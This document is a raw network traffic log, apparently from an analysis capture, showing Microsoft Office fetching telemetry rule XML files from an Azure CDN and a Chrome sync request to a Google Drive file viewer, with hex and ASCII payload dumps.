2024-11-26 07:55:44 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:45 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:44 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a3cc61f-301e-001f-7491-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075544Z-174f784596886s2bhC1EWR743w0000000v30000000009wth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:45 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:44 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:45 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:45 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075545Z-174f7845968nxc96hC1EWRspw80000000ux00000000046gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:45 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:45 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:45 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:45 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075545Z-174f7845968cdxdrhC1EWRg0en0000000v1g000000009nzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:45 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:46 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:46 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:46 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075546Z-174f7845968px8v7hC1EWR08ng0000000v9000000000bktc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:46 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:46 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:46 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075546Z-174f7845968xlwnmhC1EWR0sv80000000uwg00000000a9w6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:47 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:46 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:47 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075547Z-174f78459685m244hC1EWRgp2c0000000v300000000004xm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:47 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49910	172.217.19.174	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:47 UTC	1180	OUT	POST /file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/docos/p/sync?resourcekey&id=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&reqid=0 HTTP/1.1 Host: drive.google.com Connection: keep-alive Content-Length: 75 X-Build: apps-fileview.texmex_20241114.01_p0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-Same-Domain: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 X-Client-Deadline-Ms: 20000 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
2024-11-26 07:55:47 UTC	75	OUT	Data Raw: 70 3d 25 35 42 6e 75 6c 6c 25 32 43 6e 75 6c 6c 25 32 43 6e 75 6c 6c 25 32 43 6e 75 6c 6c 25 32 43 25 32 32 31 52 49 77 41 54 6c 43 4d 44 6d 44 70 79 46 42 44 73 33 43 34 78 48 77 55 35 50 77 4c 68 34 6e 68 25 32 32 25 35 44 Data Ascii: p=%5Bnull%2Cnull%2Cnull%2Cnull%2C%221RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh%22%5D
2024-11-26 07:55:48 UTC	724	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Robots-Tag: noindex, nofollow, nosnippet Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 26 Nov 2024 07:55:48 GMT Content-Disposition: attachment; filename="response.bin"; filename*=UTF-8''response.bin X-Content-Type-Options: nosniff Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/docs-tt X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 07:55:48 UTC	49	IN	Data Raw: 32 62 0d 0a 29 5d 7d 27 0a 0a 5b 5b 22 73 72 22 2c 6e 75 6c 6c 2c 31 37 33 32 36 30 37 31 34 38 30 36 31 5d 2c 5b 22 64 69 22 2c 32 35 5d 5d 0d 0a Data Ascii: 2b)]}'[["sr",null,1732607148061],["di",25]]
2024-11-26 07:55:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:47 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:47 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fdde8523-d01e-0028-578c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075547Z-174f78459685726chC1EWRsnbg0000000v700000000047nz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:47 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:47 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:47 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e544c55f-801e-0083-3181-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075547Z-174f7845968ljs8phC1EWRe6en0000000v1g000000002veg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:47 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:48 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:49 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: f1905457-c01e-0066-4580-3fa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075549Z-174f78459685m244hC1EWRgp2c0000000uyg000000006sm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:49 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:49 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:49 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:49 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 2ff5ce10-101e-0017-5791-3f47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075549Z-174f7845968cpnpfhC1EWR3afc0000000usg000000005tnt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:49 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:49 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:49 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: dc0e935b-901e-005b-3791-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075549Z-174f7845968kdththC1EWRzvxn00000007mg0000000002nq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
